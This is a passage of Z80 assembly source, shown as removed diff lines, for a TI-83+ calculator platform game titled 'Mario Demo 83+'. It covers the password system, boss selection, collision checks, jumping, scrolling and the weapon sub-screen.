2,a -tankpw_done: - ld (tankpw),a - jp ep_loop_new -rowc_col2: - ld a,(mipw) - bit 1,a - set 1,a - jr z,mipw_done - res 1,a -mipw_done: - ld (mipw),a - jp ep_loop_new -rowc_col3: - ld a,(anpw) - bit 1,a - set 1,a - jp z,anpw_done - res 1,a - jp anpw_done -rowc_col4: - ld a,(sepw) - bit 0,a - set 0,a - jp z,sepw_done - res 0,a - jp sepw_done -rowc_col5: - ld a,(mapw) - bit 0,a - set 0,a - jp z,mapw_done - res 0,a - jp mapw_done -rowd: - ld a,(x2) - cp 29 - jr z,rowd_col1 - cp 38 - jr z,rowd_col2 - cp 47 - jr z,rowd_col3 - cp 56 - jr z,rowd_col4 - jr rowd_col5 -rowd_col1: - ld a,(popw) - bit 1,a - set 1,a - jp z,popw_done - res 1,a - jp popw_done -rowd_col2: - ld a,(tankpw) - bit 4,a - set 4,a - jr z,tankpw_done - res 4,a - jr tankpw_done -rowd_col3: - ld a,(dopw) - bit 1,a - set 1,a - jr z,dopw_done - res 1,a -dopw_done: - ld (dopw),a - jp ep_loop_new -rowd_col4: - ld a,(mipw) - bit 0,a - set 0,a - jr z,mipw_done - res 0,a - jp mipw_done -rowd_col5: - ld a,(tankpw) - bit 6,a - set 6,a - jp z,tankpw_done - res 6,a - jp tankpw_done -rowe: - ld a,(x2) - cp 29 - jr z,rowe_col1 - cp 38 - jr z,rowe_col2 - cp 47 - jr z,rowe_col3 - cp 56 - jr z,rowe_col4 - jr rowe_col5 -rowe_col1: - ld a,(sepw) - bit 1,a - set 1,a - jr z,sepw_done - res 1,a -sepw_done: - ld (sepw),a - jp ep_loop_new -rowe_col2: - ld a,(dopw) - bit 0,a - set 0,a - jr z,dopw_done - res 0,a - jr dopw_done -rowe_col3: - ld a,(anpw) - bit 0,a - set 0,a - jr z,anpw_done - res 0,a -anpw_done: - ld (anpw),a - jp ep_loop_new -rowe_col4: - ld a,(tankpw) - bit 1,a - set 1,a - jp z,tankpw_done - res 1,a - jp tankpw_done -rowe_col5: - ld a,(mdpw) - bit 1,a - set 1,a - jp z,mdpw_done - res 1,a - jp mdpw_done -check_pw: - ld a,(anpw) - or a - jr z,pw_error - cp 3 - jr z,pw_error - ld a,(mapw) - or a - jr z,pw_error - cp 3 - jr z,pw_error - ld a,(mdpw) - or a - jr z,pw_error - cp 3 - jr z,pw_error - ld a,(dopw) - or a - jr z,pw_error - cp 3 - jr z,pw_error - ld a,(popw) - or a - jr z,pw_error - cp 3 - jr z,pw_error - ld a,(frpw) - or a - jr z,pw_error - cp 3 - jr z,pw_error - ld a,(sepw) - or a - jr z,pw_error - cp 3 - jr z,pw_error - ld a,(sapw) - or a - jr z,pw_error - cp 3 - jr z,pw_error - ld a,(mipw) - or a - jr z,pw_error - cp 3 - jr z,pw_error - ld a,(tankpw) - ld b,0 - cp 1 - jp z,pw_good - inc b - cp 2 - jp z,pw_good - inc b - cp 4 - jp z,pw_good - inc b - cp 8 - jp z,pw_good - inc b - cp 16 - jp z,pw_good -pw_error: - bcall(_clrlcdfull) - bcall(_grbufclr) - ld hl,pw_error_lindat - call draw - call fastcopys - ld de,10*256+20 - ld hl,pwerr - call setvputs - ld de,40*256+30 - ld hl,pwtry - call setvputs - ld de,47*256+33 - ld hl,yes - call setvputs - ld de,54*256+31 - ld hl,no - call setvputs -pe_loop: - bcall(_getcsc) - cp k2nd - jp z,enter_pw - cp kAlpha - ret z - cp kMode - ret z - jr pe_loop -pw_good: - ld a,b - ld (tanks),a - ld a,(lvldone) - ld b,a - ld a,(anpw) - bit 1,a - jr z,pg1 - set 0,b -pg1: - ld a,(mapw) - bit 1,a - jr z,pg2 - set 1,b -pg2: - ld a,(mdpw) - bit 1,a - jr z,pg3 - set 2,b -pg3: - ld a,(dopw) - bit 1,a - jr z,pg4 - set 3,b -pg4: - ld a,(popw) - bit 1,a - jr z,pg5 - set 4,b -pg5: - ld a,(frpw) - bit 1,a - jr z,pg6 - set 5,b -pg6: - ld a,(sapw) - bit 1,a - jr z,pg7 - set 6,b -pg7: - ld a,(mipw) - bit 1,a - jr z,pg_done - set 7,b -pg_done: - ld a,b - ld (lvldone),a - ret -ship_init: - ld a,(bchk) - or a - ret z - ld hl,ship_init_lindat - call draw - ld a,56 - ld (xb),a - ld a,16 - ld (yb),a - ret -xor_laser: - ld hl,xor_laser_lindat - call draw - call check_spr - call xor_char - call xor_boss - call fastcopys - ld hl,xor_laser_lindat - call draw - call xor_char - call xor_boss - ret -wpn_fill: - ld a,28 - ld (enp),a - ld (enan),a - ld (enma),a - ld (enmd),a - ld (endo),a - ld (ense),a - ld (enpo),a - ld (enfr),a - ld (ensa),a - ld (enmi),a - ld (enwpn),a - ret -draw_nrg: - ld a,(bchk) - or a - call nz,draw_bnrg - ld d,10 - ld e,38 - ld h,10 - ld a,(enp) - ld b,a - ld a,37 - sub b - ld l,a - ld a,1 - call fastline - ld a,(wpn) - or a - ret z - ld d,12 ; draw weapon energy line - ld e,38 - ld h,12 - ld a,(enwpn) - ld b,a - ld a,37 - sub b - ld l,a - ld a,1 - call fastline - ret -draw_bnrg: - ld d,86 - ld e,38 - ld h,86 - ld a,(enb) - ld b,a - ld a,37 - sub b - ld l,a - ld a,1 - call fastline - ret -check_ehitu: - ld a,(echk) - cp 3 - ret z - ld a,(wx1) - ld d,a - ld a,(wy1) - ld e,a - ld a,(wchk1) - ld c,a - or a - call nz,check_white - ld a,c - ld (wchk1),a - ld a,(wx2) - ld d,a - ld a,(wy2) - ld e,a - ld a,(wchk2) - ld c,a - or a - call nz,check_white - ld a,c - ld (wchk2),a - ld a,(wx3) - ld d,a - ld a,(wy3) - ld e,a - ld a,(wchk3) - ld c,a - or a - call nz,check_white - ld a,c - ld (wchk3),a - ld a,(xmm) - ld b,a - ld a,(xe) - sub 7 - cp b - ret nc - add a,14 - cp b - ret c - ld a,(ymm) - ld b,a - ld a,(ye) - sub 11 - cp b - ret nc - add a,18 - cp b - ret c - ld a,(enp) - or a - sub 1 - jr nc,ehitu_nokill - xor a -ehitu_nokill: - ld (enp),a - ld a,1 - ld (hchk),a - ret -check_bhitu: - ld a,(wx1) - ld d,a - ld a,(wy1) - ld e,a - ld a,(wchk1) - ld c,a - or a - call nz,check_whitb - ld a,c - ld (wchk1),a - ld a,(wx2) - ld d,a - ld a,(wy2) - ld e,a - ld a,(wchk2) - ld c,a - or a - call nz,check_whitb - ld a,c - ld (wchk2),a - ld a,(wx3) - ld d,a - ld a,(wy3) - ld e,a - ld a,(wchk3) - ld c,a - or a - call nz,check_whitb - ld a,c - ld (wchk3),a - ld a,(boss) - cp 5 - jr z,check_shitu - ld a,(xmm) - ld b,a - ld a,(xb) - sub 7 - cp b - ret nc - add a,14 - cp b - ret c - ld a,(ymm) - ld b,a - ld a,(yb) - sub 11 - cp b - ret nc - add a,22 - cp b - ret c - ld a,(enp) - or a - sub 7 - jr nc,bhitu_nokill - xor a -bhitu_nokill: - ld (enp),a - ld a,1 - ld (hchk),a - ret -check_shitu: - ld a,(xmm) - ld b,a - ld a,28 - cp b - ret nc - xor a - ld (enp),a - ld a,1 - ld (hchk),a - ret -check_bwhitu: - ld a,(xmm) - ld b,a - ld a,(bwx) - sub 7 - cp b - ret nc - add a,14 - cp b - ret c - ld a,(ymm) - ld b,a - ld a,38 - cp b - ret nc - add a,14 - cp b - ret c - ld a,(enp) - or a - sub 2 - jr nc,bwhitu_nokill - xor a -bwhitu_nokill: - ld (enp),a - ld a,1 - ld (hchk),a - ret -check_white: - ld a,(xe) - ld b,a - ld a,d - sub 7 - cp b - ret nc - add a,14 - cp b - ret c - ld a,(ye) - ld b,a - ld a,e - sub 7 - cp b - ret nc - add a,10 - cp b - ret c - ld c,0 - ld a,(ene) - or a - sub 1 - jr nc,white_nokill - xor a -white_nokill: - ld (ene),a - or a - ret nz - ld a,3 - ld (echk),a - ret -check_whitb: - ld a,(boss) - cp 5 - jr z,check_whits - ld a,(xb) - ld b,a - ld a,d - sub 7 - cp b - ret nc - add a,14 - cp b - ret c - ld a,(yb) - ld b,a - ld a,e - sub 11 - cp b - ret nc - add a,14 - cp b - ret c - ld c,0 - call dam7_or1 - ld a,(enb) - or a - sub 1 - jr nc,whitb_nokill - xor a -whitb_nokill: - ld (enb),a - ret nz - call won - ret -check_whits: - ld b,35 - ld a,d - sub 7 - cp b - ret nc - add a,14 - cp b - ret c - ld b,42 - ld a,e - cp b - ret nc - add a,10 - cp b - ret c - ld c,0 - call dam7_or1 - ld a,(enb) - or a - sub 1 - jr nc,whits_nokill - xor a -whits_nokill: - ld (enb),a - or a - ret nz - call won - ret -dam7_or1: - ld a,(wpn) - or a - ret z - cp 5 - ret z - cp 1 - jr z,an_on_po - cp 2 - jr z,ma_on_do - cp 3 - jr z,md_on_sa - cp 4 - jr z,do_on_fr - cp 6 - jr z,po_on_md - cp 7 - jr z,fr_on_an - cp 8 - jr z,sa_on_mi - cp 9 - jr z,mi_on_ma - ret -an_on_po: - ld a,(boss) - cp 5 - jr z,damage7 - cp 6 - ret nz - jr damage7 -ma_on_do: - ld a,(boss) - or a - jr z,damage7 - cp 4 - ret nz - jr damage7 -md_on_sa: - ld a,(boss) - cp 8 - ret nz - jr damage7 -do_on_fr: - ld a,(boss) - cp 7 - ret nz - jr damage7 -po_on_md: - ld a,(boss) - cp 3 - ret nz - jr damage7 -fr_on_an: - ld a,(boss) - cp 1 - ret nz - jr damage7 -sa_on_mi: - ld a,(boss) - cp 9 - ret nz - jr damage7 -mi_on_ma: - ld a,(boss) - cp 2 - ret nz -damage7: - ld a,(enb) - or a - sub 6 - jr nc,dam7_nokill - call won - xor a -dam7_nokill: - ld (enb),a - ret -thrown_back: - xor a - ld (hchk),a - ld hl,(xmm) - call load_x - or a - ld de,8 - sbc hl,de - push hl - push hl - call CheckHorz - pop hl - call z,CheckHorz2 - pop hl - call z,CheckHorz3 - jr nz,thrown_short - ld a,(xmm) - sub 8 - ld (xmm),a - ret -thrown_short: - ld hl,(xmm) - call load_x - push hl - srl h - rr l - srl h - rr l - srl h - rr l ; divide x by 8 - add hl,hl - add hl,hl - add hl,hl ; multiply x by 8 - push hl - pop de - pop hl - or a - sbc hl,de - push hl - ld hl,(xmm) - pop de - or a - sbc hl,de - ld (xmm),hl - ret -draw_text: -;hl = pointer to text info - ld a,(hl) - ld e,a - inc hl - push de - push hl - bcall(_clrlcdfull) - bcall(_grbufclr) - ld a,1 - pop hl - pop de -draw_txt_loop: - push af - push de - push hl - call centertext - pop hl - pop de - pop af - add a,6 - cp 59 - call nc,reseta_draw - push af - ld a,$00 - ld b,255 - cpir - pop af - dec e - jr nz,draw_txt_loop - call clrwait - ret - -reseta_draw: - push af - push de - push hl - dec e - call nz,clrwait - inc e - pop hl - pop de - pop af - ld a,1 - ret -clrwait: - call wait - bcall(_clrlcdfull) - bcall(_grbufclr) - ret -wait: - bcall(_getcsc) - or a - jr z,wait - ret -quit_force: - -draw: - push af - push bc - push de - ld a,(hl) - ld b,a - inc hl - ld a,(hl) - inc hl -drawloop: -;hl = pointer to line data -;a = draw mode (0=off 1=on 2=xor 3=pattern) -;b = number of lines - push bc - ld c,(hl) - inc hl - ld b,(hl) - inc hl - ld e,(hl) - inc hl - ld d,(hl) - inc hl - push af - push hl - push bc - push de - pop de - pop hl - call fastline - pop hl - pop af - pop bc - djnz drawloop - pop de - pop bc - pop af - ret - -Description: .db "Mario Demo 83+",0 -prog_start: - bcall(_clrlcdfull) - bcall(_grbufclr) - xor a ; no levels completed - ld (lvldone),a - ld (tanks),a ; 0 energy tanks - inc a - ld (tankpw),a ; 0 energy tanks (for password system) - inc a - inc a - ld (lives),a ; 3 lives - ld a,17 - ld (x2),a - ld a,43 - ld (y2),a - ld hl,pwdot - ld (smlspr),hl - ld a,(y2) - cp 43 - jr z,cb_init - cp kMode ; exit game if MODE was pressed on enter password screen - ret z -cb_init: - ld a,33 - ld (x2),a - ld a,22 - ld (y2),a - bcall(_clrlcdfull) -boss_loop: - call xor_corners - call fastcopys - call xor_corners - jr find_boss - bcall(_getcsc) ; clear the keybuffer - bcall(_grbufclr) - bcall(_clrlcdfull) - ret -find_boss: - ld a,(y2) - cp 1 - jr z,row1 - cp 22 - jr z,row2 - ld a,7 - jr found_row -row2: - ld a,4 - jr found_row -row1: - ld a,1 -found_row: - ld (boss),a - ld a,(x2) - cp 64 - jr z,add2 - cp 33 - jr nz,add0 - ld a,(boss) - inc a - jr add_done -add0: - ld a,(boss) - jr add_done -add2: - ld a,(boss) - add a,2 -add_done: - ld (boss),a - ld a,44 - ld (xb),a - ld a,27 - ld (yb),a - ld a,(boss) - cp 1 - jr z,an_init -an_init: - ld a,(lvldone) - bit 0,a - jp c,boss_loop - ld hl,ansl - call disp_boss - ld hl,wpan - ld (bwspr),hl - ld a,54 - ld hl,a_n - call centertext - ld hl,lvlan -intro_done: - ld (curlvl),hl ; remember the start of the level - ld (remlvl),hl - call delay - bcall(_clrlcdfull) - bcall(_grbufclr) - call wpn_fill -part1_init: - call init_vars - ld a,44 ; initialize some variables - ld (ymm),a - xor a - ld (jchk),a - ld (bchk),a - ld (wpn),a - inc a - ld (dir),a - ld (schk),a - ld hl,wpp - ld (wpnspr),hl - call ShowLevel - call main_loop - bcall(_getcsc) ; clear the keybuffer - bcall(_grbufclr) - bcall(_clrlcdfull) - ld a,(death) ; check if died - or a - jp nz,lost_life - ld a,(win) - or a - ret z ; exit loop if level has not been completed -part2_init: - ld hl,lvlb1 - xor a - ld (bchk),a - call init_lvlb - ld a,(death) ; check if died - or a - jp nz,lost_life - ld a,(win) - or a - ret z ; exit loop if level has not been completed - xor a ; initialize boss variables - ld (bdir),a - ld (bjchk),a - inc a - ld (bchk),a - ld a,28 - ld (enb),a - ld a,44 - ld (yb),a - ld a,76 - ld (xb),a - ld hl,lvlb2 - call init_lvlb - ld a,(death) ; check if died - or a - jp nz,lost_life - ld a,(win) - or a - ret z ; exit game if level has not been completed - ld a,(lvldone) - ld b,a - ld a,(boss) - cp 1 - jr z,set_bit0 - set 7,b - jr set_bit_done -set_bit6: - set 6,b - jr set_bit_done -set_bit5: - set 5,b - jr set_bit_done -set_bit4: - set 4,b - jr set_bit_done -set_bit3: - set 3,b - jr set_bit_done -set_bit2: - set 2,b - jr set_bit_done -set_bit1: - set 1,b - jr set_bit_done -set_bit0: - set 0,b -set_bit_done: - ld a,b - ld (lvldone),a - jp cb_init -lost_life: - call wpn_fill - ld a,(lives) ; go to game over screen if all lives lost - or a - jr z,game_over - ld a,(schk) - or a - jp z,part2_init - jp part1_init -game_over: - cp kMode ; exit if MODE was pressed at show password screen - ret z - ld a,3 - ld (lives),a - bcall(_clrlcdfull) - bcall(_grbufclr) - call draw - call fastcopys - ld de,18*256+31 - ld hl,gover - call setvputs - ld de,25*256+25 - ld hl,cont - call setvputs - ld de,32*256+14 - ld hl,stgsel - call setvputs - ld de,39*256+31 - ld hl,endgame - call setvputs - bcall(_grbufclr) -go_loop: - bcall(_getcsc) - cp k2nd - jr z,go_cont - cp kMode - ret z - jr go_loop -go_cont: - ld hl,(remlvl) - ld (curlvl),hl - jp part1_init -final_boss: - xor a - ld (boss),a ;select boss 0 - ld (win),a ;you haven't won - call main_loop ;call the main loop - ld a,(death) ;check if you died - or a - jp nz,lost_life - ld a,(win) - or a - ret z ; exit game if level has not been completed -ending: - ld hl,endingtext - call draw_text - ld hl,creditext - call draw_text - ld a,11 - ld a,28 - ld hl,and_inf - call centertext - call clrwait - ret -init_lvlb: - ld (curlvl),hl - call init_vars - ld (schk),a - ld (bcount),a - call ShowLevel - call main_loop - ld a,(win) ; see if you defeated TI's spaceship - cp 2 - jr z,ship_dead - bcall(_getcsc) ; clear the keybuffer - bcall(_grbufclr) - bcall(_clrlcdfull) - ret -init_vars: - ld hl,0 - ld (xscr),hl - ld (tempscr),hl - ld hl,8 ; initialize some variables - ld (xmm),hl - xor a - ld (wchk),a - ld (wchk1),a - ld (wchk2),a - ld (wchk3),a - ld (win),a - ld (death),a - ld (feet),a - ld (item),a - ld (echk),a - ld (bwchk),a - ld (hchk),a - ret -ship_dead: - ld a,28 - ld (enb),a - call check_spr - call xor_char - ld b,0 ; erase ship - call ship_init -ti_fall: ; TI falls to the bottom of the screen - ld a,(yb) - inc a - ld (yb),a - call xor_boss - call fastcopys - call xor_boss - ld a,(yb) - cp 44 - jr nz,ti_fall - call check_spr - call xor_char - ret -main_loop: - ld hl,(xmm) - call load_x - ld a,(ymm) - add a,4 - push hl - push af - call GetBlock - pop af - pop hl - ld de,8 - add hl,de - call GetBlock - call ShowLevel - call check_spr ; figure out which Mega Man sprite to use - call xor_char ; draw it - call fastcopys ;copy everything to the buffer - call xor_char ;erase the Megaman sprite - ld a,(echk) ;check for enemy and erase as necessary - bcall(_grbufclr) - call find_spr - ld a,$FD ;check ENTER - out (1),a - in a,(1) - bit 0,a - call z,pause - ld a,$FE ;check arrow keys - out (1),a - in a,(1) - bit 1,a - call z,move_left - bit 2,a - call z,move_right - ld a,$BF ;check other keys - out (1),a - in a,(1) - bit 5,a - jr jump_button_down -main2: - bit 6,a - ret z ;exit loop is MODE has been pressed - ld a,(death) - or a - ret nz ;exit loop if dead - ld a,(win) - or a - jp z,main_loop ;exit loop if level completed - ret -jchk_now_2: ; make sure you can't jump - push af - ld a,2 - ld (jchk),a - pop af - ret -jump_button_down: - push af - ld a,1 - ld (maxjh),a - call z,jump - call nz,jchk_now_2 - call fall - pop af - jr main2 -move_right: - ld a,(feet) - and $02 - ld hl,mmrr2 - jr nz,rr2_spr - ld hl,mmrr -rr2_spr: - ld (curpic),hl - ld a,(xmm) - cp 80 - call z,won - call CheckRight - call z,CheckRight2 - call z,CheckRight3 - jr nz,no_right - ld a,(xmm) - cp 44 - jr nz,no_scroll - ld a,(xscr) - cp 68 - jr z,no_scroll - ld a,(schk) - or a - jr z,no_scroll - call scroll - jr no_right -no_scroll: - ld hl,(xmm) - inc hl - inc hl - ld (xmm),hl -no_right: - ld a,(dir) - or a - call z,change_right - ret -change_right: - ld a,1 - ld (dir),a - ret -move_left: - push af - ld a,(feet) - and $02 - ld hl,mmrl2 - jr nz,rl2_spr - ld hl,mmrl -rl2_spr: - ld (curpic),hl - ld a,(xmm) - or a - jr z,no_left - call CheckLeft - call z,CheckLeft2 - call z,CheckLeft3 - jr nz,no_left - call change_left - ld hl,(xmm) - dec hl - dec hl - ld (xmm),hl -no_left: - ld a,(dir) - or a - call nz,change_left - pop af - ret -change_left: - xor a - ld (dir),a - ret -CheckRight: - ld hl,(xmm) - call load_x - ld de,8 - add hl,de - jr CheckHorz -CheckLeft: - ld hl,(xmm) - call load_x - dec hl -CheckHorz: - ld a,(ymm) - call GetBlock - call CheckTile - ret -CheckRight2: - ld hl,(xmm) - call load_x - ld de,8 - add hl,de - jr CheckHorz2 -CheckLeft2: - ld hl,(xmm) - call load_x - dec hl -CheckHorz2: - ld a,(ymm) - add a,11 - call GetBlock - call CheckTile - ret -CheckRight3: - ld hl,(xmm) - call load_x - ld de,8 - add hl,de - jr CheckHorz3 -CheckLeft3: - ld hl,(xmm) - call load_x - dec hl -CheckHorz3: - ld a,(ymm) - add a,6 - call GetBlock - call CheckTile - ret -pause: - call tiny_delay -pause_loop: - bcall(_getcsc) - cp kMode - ret z - cp kEnter - jr nz,pause_loop - call tiny_delay - ret -GetBlock: ; Gets the block at (HL,A) -> A. HL = addr, B,C = coord - srl h - rr l - srl h - rr l - srl h - rr l ; Divide X with 8 - ld b,l - cp 64 - jr c,OnScreen - xor a -OnScreen: - srl a - srl a - srl a ; Divide Y with 8 - ld c,a - add hl,hl - add hl,hl - add hl,hl - ld d,0 - ld e,a - add hl,de ; HL = x*8+y - ld de,(curlvl) - add hl,de ; Add HL with the pointer to the level data - ld a,(hl) - ret -CheckTile: - or a - ret z - cp 8 - ret c - xor a - ret -jump: - push af - ld a,(jchk) - cp 2 - jr z,no_jump - or a - jr nz,jump_up - ld a,1 - ld (jchk),a - ld a,(ymm) - sub 16 - jr nc,jrem_not0 - ld a,1 -jrem_not0: - ld (jrem),a -jump_up: - ld a,(jrem) - ld b,a - ld a,(ymm) - cp b - jr c,end_jump - call CheckUp - call z,CheckUp2 - jr nz,end_jump - ld a,(ymm) - dec a - dec a - dec a - dec a - ld (ymm),a - jr no_jump -end_jump: - ld a,2 - ld (jchk),a -no_jump: - pop af - ret -fall: - push af - ld a,(jchk) - cp 1 - jr z,no_fall - call CheckDown - call z,CheckDown2 - jr nz,end_fall - ld a,(ymm) - inc a - inc a - inc a - inc a - ld (ymm),a - cp 52 - call z,die - jr no_fall -end_fall: - xor a - ld (jchk),a -no_fall: - pop af - ret -CheckUp: - ld a,(ymm) - dec a - jr CheckVert -CheckDown: - ld a,(ymm) - add a,12 -CheckVert: - ld hl,(xmm) - call load_x - call GetBlock - call CheckTile - ret -CheckUp2: - ld a,(ymm) - dec a - jr CheckVert2 -CheckDown2: - ld a,(ymm) - add a,12 -CheckVert2: - ld hl,(xmm) - call load_x - ld de,7 - add hl,de - call GetBlock - call CheckTile - ret -inc_wchk: ; lets you shoot again - inc a - cp 8 - jr nz,keep_wchk - xor a -keep_wchk: - ld (wchk),a - ret -die: - call short_delay - ld a,(lives) - dec a - ld (lives),a - ld a,1 - ld (death),a - ret -won: - ld a,1 - ld (win),a - ld a,(bchk) ; check for boss - or a - ret z - ld a,(boss) ; see if that boss was the spaceship - cp 5 - ret nz - ld a,2 ; if so, set win=2 - ld (win),a - ret -scroll: - bcall(_grbufclr) - ld a,(tempscr) - inc a - inc a - cp 8 - jr nz,scroll_cont - ld a,(xscr) - inc a - ld (xscr),a - xor a -scroll_cont: - ld (tempscr),a - ld a,(echk) - or a - call nz,next_en - ld a,(echk) - or a - ret z - cp 3 - ret z - ld a,(xe) ; decrease x-coord of enemy - dec a - ld (xe),a - or a - call z,en_dead - ret -ShowLevel: - ld hl,(xscr) - add hl,hl - add hl,hl - add hl,hl - push hl - pop de - ld hl,(curlvl) - add hl,de - ld bc,0 -RepShowLevel: ; displays the current full screen of the level - ld a,(hl) - cp 5 - call nc,item_init - inc hl - push hl - ld h,0 - ld l,a - add hl,hl - add hl,hl - add hl,hl - ld de,lvlspr - add hl,de - push bc - ld a,(tempscr) - ld d,a - ld a,b - sub d - jr c,skip_8x8 - ld (x2),a - ld a,c - ld (y2),a - ld (smlspr),hl - call xor_8x8 -skip_8x8: - pop bc - pop hl - ld a,c - add a,8 - ld c,a - cp 64 - jr nz,RepShowLevel - ld c,0 - ld a,b - add a,8 - ld b,a - cp 96 - jr nz,RepShowLevel - ret -item_init: - ld d,a - cp 8 - jr nc,no_en_init - ld a,(item) - cp 2 - jr z,no_item_init - ld a,1 - ld (item),a - ld a,d - ret -no_item_init: - xor a ; replace item sprite with blank sprite - ret -t_init: -i_init: -no_en_init: - xor a ; replace enemy sprite with blank sprite - ret -load_x: ; loads x location (input as hl) into hl, accounting for scrolling - push hl - ld hl,(xscr) - add hl,hl - add hl,hl - add hl,hl - pop de - add hl,de - push hl - ld hl,(tempscr) - pop de - add hl,de - ret -sub_screen: - push af - bcall(_clrlcdfull) - bcall(_grbufclr) - call tiny_delay - xor a - ld (wchk1),a - ld (wchk2),a - ld (wchk3),a - ld a,(wpn) - or a - jr z,ss_cont - cp 1 - jr z,en_an - cp 2 - jr z,en_ma - cp 3 - jr z,en_md - cp 4 - jr z,en_do - cp 5 - jr z,en_se - cp 6 - jr z,en_po - cp 7 - jr z,en_fr - cp 8 - jr z,en_sa - cp 9 - jr z,en_mi -en_an: - ld a,(enwpn) - ld (enan),a - jr ss_cont -en_ma: - ld a,(enwpn) - ld (enma),a - jr ss_cont -en_md: - ld a,(enwpn) - ld (enmd),a - jr ss_cont -en_do: - ld a,(enwpn) - ld (endo),a - jr ss_cont -en_se: - ld a,(enwpn) - ld (ense),a - jr ss_cont -en_po: - ld a,(enwpn) - ld (enpo),a - jr ss_cont -en_fr: - ld a,(enwpn) - ld (enfr),a - jr ss_cont -en_sa: - ld a,(enwpn) - ld (ensa),a - jr ss_cont -en_mi: - ld a,(enwpn) - ld (enmi),a -ss_cont: - ld a,28 - ld (x2),a - ld a,53 - ld (y2),a - ld a,55 - ld (x2),a - xor a - ld (x2),a - inc a - ld (y2),a - ld hl,pwdot - ld (smlspr),hl -ss_loop_new: - call xor_8x8 - call fastcopys - ld a,(lvldone) - bit 0,a - jr z,ss_line1 - ld d,16 - ld e,15 - push af - ld a,(enan) - add a,17 - ld h,a - ld l,15 - ld a,1 - call fastline - pop af -ss_line1: - bit 1,a - jr z,ss_line2 - ld d,16 - ld e,25 - push af - ld a,(enma) - add a,17 - ld h,a - ld l,25 - ld a,1 - call fastline - pop af -ss_line2: - bit 2,a - jr z,ss_line3 - ld d,16 - ld e,35 - push af - ld a,(enmd) - add a,17 - ld h,a - ld l,35 - ld a,1 - call fastline - pop af -ss_line3: - bit 3,a - jr z,ss_line4 - ld d,16 - ld e,45 - push af - ld a,(endo) - add a,17 - ld h,a - ld l,45 - ld a,1 - call fastline - pop af -ss_line4: - bit 4,a - jr z,ss_line5 - ld d,63 - ld e,15 - push af - ld a,(enpo) - add a,64 - ld h,a - ld l,15 - ld a,1 - call fastline - pop af -ss_line5: - bit 5,a - jr z,ss_line6 - ld d,63 - ld e,5 - push af - ld a,(ense) - add a,64 - ld h,a - ld l,5 - ld a,1 - call fastline - ld d,63 - ld e,25 - ld a,(enfr) - add a,64 - ld h,a - ld l,25 - ld a,1 - call fastline - pop af -ss_line6: - bit 6,a - jr z,ss_line7 - ld d,63 - ld e,35 - push af - ld a,(ensa) - add a,64 - ld h,a - ld l,35 - ld a,1 - call fastline - pop af -ss_line7: - bit 7,a - jr z,ss_line_done - ld d,63 - ld e,45 - ld a,(enmi) - add a,64 - ld h,a - ld l,45 - ld a,1 - call fastline -ss_line_done: - ld d,16 - ld e,5 - ld a,(enp) - add a,17 - ld h,a - ld l,5 - ld a,1 - call fastline - call fastcopys - ld a,(lvldone) - bit 0,a - jr z,ss_bit1 - ld de,12*256+7 - ld hl,an - call setvputs -ss_bit1: - bit 1,a - jr z,ss_bit2 - ld de,22*256+7 - ld hl,ma - call setvputs -ss_bit2: - bit 2,a - jr z,ss_bit3 - ld de,32*256+7 - ld hl,md - call setvputs -ss_bit3: - bit 3,a - jr z,ss_bit4 - ld de,42*256+7 - ld hl,do - call setvputs -ss_bit4: - bit 4,a - jr z,ss_bit5 - ld de,12*256+54 - ld hl,po - call setvputs -ss_bit5: - bit 5,a - jr z,ss_bit6 - ld de,22*256+54 - ld hl,fr - call setvputs - ld de,2*256+54 - ld hl,se - call setvputs -ss_bit6: - bit 6,a - jr z,ss_bit7 - ld de,32*256+54 - ld hl,sa - call setvputs -ss_bit7: - bit 7,a - jr z,ss_loop_init - ld de,42*256+54 - ld hl,mi - call setvputs -ss_loop_init: - ld de,2*256+7 - ld hl,p - call setvputs - ld a,(tanks) - bcall(_setxxop1 - ld hl,54*256+40 - ld (pencol),hl - ld a,1 - bcall(_dispop1a) - ld a,(lives) - bcall(_setxxop1) - ld hl,54*256+67 - ld (pencol),hl - ld a,1 - bcall(_dispop1a) - call xor_8x8 -ss_loop: - bcall(_getcsc) - cp kUp - jp z,ss_up - cp kDown - jp z,ss_down - cp kLeft - jp z,ss_horz - cp kRight - jp z,ss_horz - cp k2nd - jp z,ss_tank - cp kMode - jp z,ss_mode - cp kYEq - jr nz,ss_loop - ld hl,wpp - ld a,(lvldone) - ld b,a - ld a,(x2) - or a - ld a,(y2) - jr z,wpn_left -wpn_left: - ld c,0 - ld hl,wpp - cp 1 - jp z,ss_exit - cp 11 - jr z,ss_an -ss_an: - bit 0,b - jr z,ss_loop - ld c,1 - ld a,(enan) - ld (enwpn),a - ld hl,wpan - jp ss_exit -ss_exit: - ld a,c - ld (wpn),a - ld (wpnspr),hl - bcall(_clrlcdfull) - bcall(_grbufclr) - call ShowLevel - pop af - call tiny_delay - ret -ss_mode: - pop bc ; pop to something other than af so it remembers that MODE has been pressed - ret -ss_up: - ld a,(y2) - cp 1 - jr z,ss_vert - sub 10 - ld (y2),a - jp ss_loop_new -ss_down: - ld a,(y2) - cp 41 - jr z,ss_vert - add a,10 - ld (y2),a - jp ss_loop_new -ss_vert: - ld b,a - ld a,42 - sub b - ld (y2),a - jp ss_loop_new -ss_horz: - ld a,(x2) - ld b,a - ld a,47 - sub b - ld (x2),a - jp ss_loop_new -ss_tank: - ld a,(tanks) - or a - jp z,ss_loop_new - dec a - ld (tanks),a - ld a,28 - ld (enp),a - jp ss_loop_new -xor_char: - ld ix,(curpic) - ld b,12 - ld a,(ymm) - ld l,a - ld a,(xmm) - call isprite - ret -check_spr: - ld a,(dir) - or a - jr z,check_spr_l -check_spr_r: - ld hl,mmhr - ld a,(hchk) - or a - jr nz,found_spr - ld a,(ymm) - add a,12 - call CheckVert - jr c,not_jump_r - ld hl,mmjr - ld a,(jchk) - or a - jr nz,found_spr -not_jump_r: - ld hl,mmwr - ld a,(wchk) - or a - jr nz,found_spr - ret -check_spr_l: - ld hl,mmhl - ld a,(hchk) - or a - jr nz,found_spr - ld a,(ymm) - add a,12 - call CheckVert - jr c,not_jump_l - ld hl,mmjl - ld a,(jchk) - or a - jr nz,found_spr -not_jump_l: - ld hl,mmwl - ld a,(wchk) - or a - jr nz,found_spr - ret -found_spr: - ld (curpic),hl - ret -find_spr: - ld a,(dir) - or a - jr z,left_spr - ld hl,mmsr - jr found_spr -left_spr: - ld hl,mmsl - jr found_spr -t_move: - call xor_en - call check_en_dist - ld a,(edir) - or a - ld a,(xe) - jr z,t_move_l - inc a - jr t_move_r -t_move_l: - dec a - or a - call z,en_dead -t_move_r: - ld (xe),a - ret -i_move: - call xor_en - call 